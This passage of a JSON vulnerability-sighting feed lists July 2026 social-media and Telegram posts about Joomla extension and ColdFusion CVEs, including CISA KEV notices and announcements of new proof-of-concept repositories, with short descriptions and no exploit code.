\u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\nhttps://xakep.ru/2026/07/08/adobe-coldfusion/", "creation_timestamp": "2026-07-13T14:00:04.319028Z"}, {"uuid": "d1caae61-74ca-44d6-9176-7cc985c80ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjzbegj7q27", "content": "CVE-2026-48939 and CVE-2026-56291: Joomla Extensions Are Under Siege #Joomla #CyberSecurity #Vulnerability", "creation_timestamp": "2026-07-13T15:33:09.576478Z"}, {"uuid": "8c6a9c59-2f8c-49df-b80d-2ca7ed4a1687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjzbgc4ui2h", "content": "CVE-2026-48939 and CVE-2026-56291 Expose Joomla Sites to RCE \u2014 Immediate Action Required #Joomla #CyberSecurity #RCE", "creation_timestamp": "2026-07-13T15:33:11.152529Z"}, {"uuid": "baa6453d-6cdf-4f74-9ed2-de794c7bde9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjzbicek42j", "content": "CVE-2026-48939: Joomla's Remote Code Execution Flaws Demand Immediate Attention #Joomla #CVE2026 #CyberSecurity", "creation_timestamp": "2026-07-13T15:33:13.543414Z"}, {"uuid": "c7f8050b-f003-4be0-81b3-a7c227f2fe78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjzbkb6l322", "content": "CVE-2026-48939: CISA Urges Immediate Response to Joomla Flaws, But Will It Matter? #CVE2026 #JoomlaSecurity #Cybersecurity", "creation_timestamp": "2026-07-13T15:33:15.654282Z"}, {"uuid": "33b1713c-88bd-4ebe-a5ad-fa6f9622f7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqjzfhqffb2p", "content": "CVE-2026-48939: Exploit Development or Poor Vendor Responsibility? #CVE2026 #CyberSecurity #VendorResponsibility", "creation_timestamp": "2026-07-13T15:35:27.010527Z"}, {"uuid": "fe84cfaa-45e6-43a9-897a-a868af244e2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/threatclaw.bsky.social/post/3mqk2l6vfv42i", "content": "New ThreatClaw Detections: Exploited CMS Flaws & Firmware Risks\n\nThis week, ThreatClaw expands coverage for actively exploited CMS vulnerabilities (CVE-2026-48908, CVE-2026-56290) and suspicious\u2026\n\nhttps://threatclaw.io/en/blog/detection-update-2026-07-10\n\n#infosec #ThreatDetection #DFIR #CVE", "creation_timestamp": "2026-07-13T15:56:32.426070Z"}, {"uuid": "0b365aec-d639-4e00-a842-713c6fcfc05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mqkdz6s6c22d", "content": "CISA flags active RCE exploitation in Joomla extensions iCagenda and Balbooa Forms. Arbitrary file upload flaws in CVE-2026-48939 and CVE-2026-56291 can lead to full site compromise. #Joomla #iCagenda #BalbooaForms", "creation_timestamp": "2026-07-13T18:45:25.909321Z"}, {"uuid": "5de3f46f-7285-49d2-b2e2-75dd93fdc9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116914226485690947", "content": "\ud83d\udcf0 CISA Adds Two Actively Exploited Joomla Plugin Flaws to KEV Catalog\n\ud83d\udce2 CISA KEV UPDATE: Two Joomla plugin vulnerabilities are now listed as actively exploited. CVE-2026-48939 (iCagenda) & CVE-2026-56291 (Balbooa Forms) allow file uploads and server takeover. Patch immediately! #CISA #KEV #Joomla #Vulnerability\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-joomla-icagenda-balbooa-flaws-to-kev-catalog/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-07-13T19:05:21.641222Z"}, {"uuid": "0f0361e0-5b08-4ce0-8106-33692121702e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mqkf637sbx2u", "content": "\ud83d\udce2 CISA KEV UPDATE: Two Joomla plugin vulnerabilities are now listed as actively exploited. CVE-2026-48939 (iCagenda) & CVE-2026-56291 (Balbooa Forms) allow file uploads and server takeover. Patch immediately! #CISA #KEV #Joomla #Vulnerability\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-13T19:06:03.977973Z"}, {"uuid": "647af392-b640-4afd-8b35-c8a8c95785c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqkiacm7rs2u", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Widget Factory Joomla\u30b3\u30f3\u30c6\u30f3\u30c4\u30a8\u30c7\u30a3\u30bf\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001Widget Factory Joomla Content Editor\uff08JCE\uff09\u306e\u8106\u5f31\u6027\uff08CVE-2026-48907\u3001CVSS\u30b9\u30b3\u30a210.0\uff09\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u300cJoomla\u306eJCE\u30a8\u30c7\u30a3\u30bf\u62e1\u5f35\u6a5f\u80fd\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u5411\u3051\u306b\u65b0\u3057\u3044\u30a8\u30c7\u30a3\u30bf\u30d7\u30ed\u30d5...", "creation_timestamp": "2026-07-13T20:01:01.472978Z"}, {"uuid": "9b282ca4-f3bf-4983-b27b-0ef3f8f59ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48363", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqkokrtfoi2t", "content": "CVE-2026-48363 - ColdFusion | Uncontrolled Search Path Element (CWE-427)\nCVE ID : CVE-2026-48363\n \n Published : July 13, 2026, 9:16 p.m. | 13\u00a0minutes ago\n \n Description : ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Element vulner...", "creation_timestamp": "2026-07-13T21:54:13.530085Z"}, {"uuid": "058d4885-8f90-450c-8a80-dbfe890f4151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/91453", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NoXiVaR\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-01 14:22:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:15.954048Z"}, {"uuid": "d93a91cf-602a-4e90-bca7-4a53027d2ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/92274", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jenderal92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 01:38:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908 \u2014 PoC exploit for unauthenticated RCE in SP Page Builder (Joomla) via arbitrary file upload. Multi\u2011threaded, case\u2011bypass, shell verification. For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:10.980203Z"}, {"uuid": "ccd3f9da-5782-4249-8322-3f780ebc44ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/GithubRedTeam/92184", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48282-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imbas007\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 12:57:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.067291Z"}, {"uuid": "e73fbf75-46d8-42a8-91d6-69748051266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/91202", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 21:36:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48907 \u2013 Joomla JCE Unauthenticated Remote Code Execution (RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:17.008086Z"}, {"uuid": "9c476322-7a62-4aab-9945-b829d36c10f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/90485", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 23:50:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:19.090426Z"}, {"uuid": "e906a2a7-b18b-4ad0-9439-4e92ee09e0c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://t.me/GithubRedTeam/92088", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48939\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 20:57:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth arbitrary file upload RCE exploit for iCagenda Joomla extension < 4.0.8 (CVSS 10.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.148385Z"}, {"uuid": "57526056-fc2a-4a3e-848f-96ffa4504ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/91821", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bayu06802\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 02:44:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPython & template nuclei\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:13.148466Z"}, {"uuid": "b45914d2-8d2c-414f-8819-da8c97b32585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/GithubRedTeam/91557", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a supply-chain-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a eris-ths\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 3  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 06:20:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetect, assess, and respond to supply chain attacks across npm/yarn and Python (pip/poetry/uv). Claude Code skill + standalone scripts. Built during axios RAT (2026-03-31) and Starlette BadHost CVE-2026-48710 (2026-05-22).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:15.367030Z"}, {"uuid": "c35417ed-6230-4c21-b844-b0265b08897c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/90408", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ogenich\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 12:31:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE PoC for CVE-2026-48908  SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:20.466869Z"}, {"uuid": "9a0bae9a-cf26-4fcd-b6d7-0efe668738bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://t.me/GithubRedTeam/91627", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48558\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a J4ck3LSyN-Gen2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 16:47:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSimpleHelp OIDC Authentication Bypass PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:14.359427Z"}, {"uuid": "3e192268-57b6-4968-b984-67aaad45ab62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://t.me/GithubRedTeam/91134", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a By-Poloss..-..CVE-2026-48939\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Polosss\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 11:11:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\niCagenda Unauthenticated File Upload to RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:17.249965Z"}, {"uuid": "37641059-b623-42ab-a033-0a415dfb372b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48363", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqkoxgqrax2a", "content": "\ud83d\udfe0 CVE-2026-48363 - High (8.2)\n\nColdFusion versions 2025.9, 2023.20 and earlier are affected by an Uncontrolled Search Path Eleme...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48363/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-13T22:01:18.482647Z"}, {"uuid": "c9dc3ca8-ec93-41be-aa09-968e30880b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/90152", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xgh057r3c0n\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 18:42:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2025-48907 - Unauthenticated RCE exploit for Joomla JCE < 2.9.99.5\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.272769Z"}, {"uuid": "8e82a2a2-5f3f-4108-9a73-4c0e993df630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "https://t.me/GithubRedTeam/90021", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48909\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Is4yev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 21:33:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48909 PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.865014Z"}, {"uuid": "86635ad1-ed30-45d0-84f6-fa1abdca424b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/89934", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-21 09:22:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.960323Z"}, {"uuid": "b6c87fab-e3f8-47bd-b2d3-d0609d82f5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/91311", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pssec-io\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 15:50:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC for CVE-2026-48907\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:16.475916Z"}, {"uuid": 